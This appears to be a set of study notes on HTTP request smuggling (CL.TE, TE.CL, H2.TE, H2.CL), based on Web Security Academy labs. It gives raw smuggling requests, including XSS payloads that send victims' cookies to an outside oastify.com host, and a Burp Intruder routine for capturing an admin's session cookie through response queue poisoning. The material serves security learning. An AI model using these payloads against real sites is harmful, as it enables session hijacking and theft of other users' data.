Request Smuggling

HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users. Request smuggling vulnerabilities are often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.

Most HTTP request smuggling vulnerabilities arise because the HTTP/1 specification provides two different ways to specify where a request ends: the Content-Length header and the Transfer-Encoding header.

Classic request smuggling attacks involve placing both the Content-Length header and the Transfer-Encoding header into a single HTTP/1 request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behavior of the two servers:

  • CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.

  • TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.

  • TE.TE: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

CL.TE vulnerabilities

Here, the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.

Identification

If an application is vulnerable to the CL.TE variant of request smuggling, then sending a request like the following will often cause a time delay:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

Since the front-end server uses the Content-Length header, it will forward only part of this request, omitting the X. The back-end server uses the Transfer-Encoding header, processes the first chunk, and then waits for the next chunk to arrive. This will cause an observable time delay.

Exploitation

Manually fixing the length fields in request smuggling attacks can be tricky. I recommend to install the "HTTP Request Smuggler" extension for Burp Suite from the BApp store.

XSS Example with User-Agent being reflected in page

POST / HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 240
Transfer-Encoding: chunked

0

GET /post?postId=9 HTTP/1.1
User-Agent: a"/><script>fetch('https://qwq0upci2mjrsd9l4cesv43b42atyumj.oastify.com/steal?cookie='+btoa(document.cookie));</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

x=1

TE.CL vulnerabilities

Here, the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header. If an application is vulnerable to the TE.CL variant of request smuggling, then sending a request like the following will often cause a time delay:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

Since the front-end server uses the Transfer-Encoding header, it will forward only part of this request, omitting the X. The back-end server uses the Content-Length header, expects more content in the message body, and waits for the remaining content to arrive. This will cause an observable time delay.

Exploitation

Manually fixing the length fields in request smuggling attacks can be tricky. I recommend to install the "HTTP Request Smuggler" extension for Burp Suite from the BApp store.

XSS Example with User-Agent being reflected in page

POST / HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

ea
GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>fetch('https://z4492ykravr00mhuclm13dbkcbi260up.oastify.com/steal?cookie='+btoa(document.cookie));</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=
0

HTTP/2 Request Smuggling

Although you won't see this in Burp, HTTP/2 messages are sent over the wire as a series of separate "frames". Each frame is preceded by an explicit length field, which tells the server exactly how many bytes to read in. Therefore, the length of the request is the sum of its frame lengths.

In theory, this mechanism means there is no opportunity for an attacker to introduce the ambiguity required for request smuggling, as long as the website uses HTTP/2 end to end. In the wild, however, this is often not the case due to the widespread but dangerous practice of HTTP/2 downgrading.

H2.TE identification

POST / HTTP/2
Host: 0a2a00e4047ca1b18381b51f00900029.web-security-academy.net
Transfer-Encoding: chunked

0

SMUGGLED

Observe that every second request you send receives a 404 response, confirming that you have caused the back-end to append the subsequent request to the smuggled prefix.

Response queue poisoning via H2.TE

After identifying the H2.TE vulnerability, we can aim for capturing a login request for another user. We do this by poisoning the response queue. In Burp Repeater, create the following request, which smuggles a complete request to the back-end server. Note that the path in both requests points to a non-existent endpoint. This means that your request will always get a 404 response. Once you have poisoned the response queue, this will make it easier to recognize any other users' responses that you have successfully captured.

POST /x HTTP/2
Host: 0a2a00e4047ca1b18381b51f00900029.web-security-academy.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: 0a2a00e4047ca1b18381b51f00900029.web-security-academy.net

Wait for around 5 seconds, then send the request again to fetch an arbitrary response. Most of the time, you will receive your own 404 response. Any other response code indicates that you have successfully captured a response intended for the admin user. Repeat this process until you capture a 302 response containing the admin's new post-login session cookie.

We can automate this process in intruder!

  1. Leave payload as it is

  2. Select sniper attack

  3. Select payload type "null payloads" and continue indefinitely

  4. In settings, unmark "update content-length header"

  5. In resource pool set the maximum concurrent request to 1 and delay between requests 800 milliseconds (just under a second).

  6. Filter for 3xx responses to only get the 302 containing the cookie.

H2.CL identification

POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

SMUGGLED

Observe that every second request you send receives a 404 response, confirming that you have caused the back-end to append the subsequent request to the smuggled prefix.

Last updated